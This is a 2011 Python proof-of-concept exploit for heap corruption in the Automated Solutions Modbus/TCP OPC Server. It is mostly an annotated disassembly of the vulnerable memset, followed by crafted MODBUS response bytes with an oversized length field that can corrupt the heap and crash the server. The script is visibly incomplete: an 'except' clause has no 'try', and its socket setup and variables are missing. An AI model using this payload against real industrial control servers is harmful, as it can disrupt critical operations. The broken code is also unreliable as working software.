Automated Solutions Modbus/TCP OPC Server - Remote Heap Corruption (PoC)









# Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC
# Jeremy Brown [0xjbrown41-gmail-com]
# Jan 2011
# A specially crafted length field in a MODBUS packet header can trigger heap corruption.
# 00408312  |> 8B5424 3C      MOV EDX,DWORD PTR SS:[ESP+3C] -> move length into edx
# 00408316  |. 53             PUSH EBX                      -> push src onto stack
# 00408317  |. 8B5C24 3C      MOV EBX,DWORD PTR SS:[ESP+3C] -> move dest into ebx 
# 0040831B  |. 8BCA           MOV ECX,EDX                   -> move length into ecx
# 0040831D  |. 55             PUSH EBP                      -> push ebp onto stack
# 0040831E  |. 8BE9           MOV EBP,ECX                   -> move ecx into ebp
# 00408320  |. 57             PUSH EDI                      -> push edi onto stack
# 00408321  |. 33C0           XOR EAX,EAX                   -> eax = 0
# 00408323  |. 8BFB           MOV EDI,EBX                   -> move dest into edi
# 00408325  |. 895C24 1C      MOV DWORD PTR SS:[ESP+1C],EBX -> move ebx into dword at esp+1c
# 00408329  |. C1E9 02        SHR ECX,2                     -> shift ecx right twice
# 0040832C  |. F3:AB          REP STOS DWORD PTR ES:[EDI]   -> fill ecx dwords at edi with eax
# So basically memset(edi,eax,ecx). We control ecx, so we have control over the number of dwords
# it writes in the heap buffer. But, as you can see, the dwords themselves are not controllable,
# they are NULL. However, we can still write past the bounds of the allocated chunk of memory.
# Although it seems unlikely code execution could result, it is still possible to write data
# past the memory allocated on a heap (0x350000) available in the server process.
# This code works by setting up a fake channel and accepting a connection. To trigger this
# vulnerability, the server simply needs to initiate communication (monitor mode would be ideal)
# with this fake channel and the results depend on the response you choose.
# I tested version 3 running on Windows. Testing the server with this code and its default
# response should't cause the server to crash (immediately anyways). Larger lengths (such as
# the one commented out) may cause the server to crash.
# Patch:

import sys
import socket


#       [trans]    [prot]     [len]      [u]   [f]    [bc]    [data]
resp="\x00\x00"+"\x00\x00"+"\x02\x01"+"\x00"+"\x03"+"\x02"+"\x00\x00" # break @ 40832c, dump edi, keep hitting f9 and watch (debug)
#resp="\x00\x00"+"\x00\x00"+"\x02\xb0"+"\x00"+"\x03"+"\x02"+"\x00\x00" # Heap block at 0035F2D0 modified at 0035F4E7 past requested size of 20f


except IOError,e:
     print e

print "OPC server at %s connected\n"%addr[0]

print "<-- %s"%req.encode("hex")

print "--> %s\n"%resp.encode("hex")

print "finished, check server"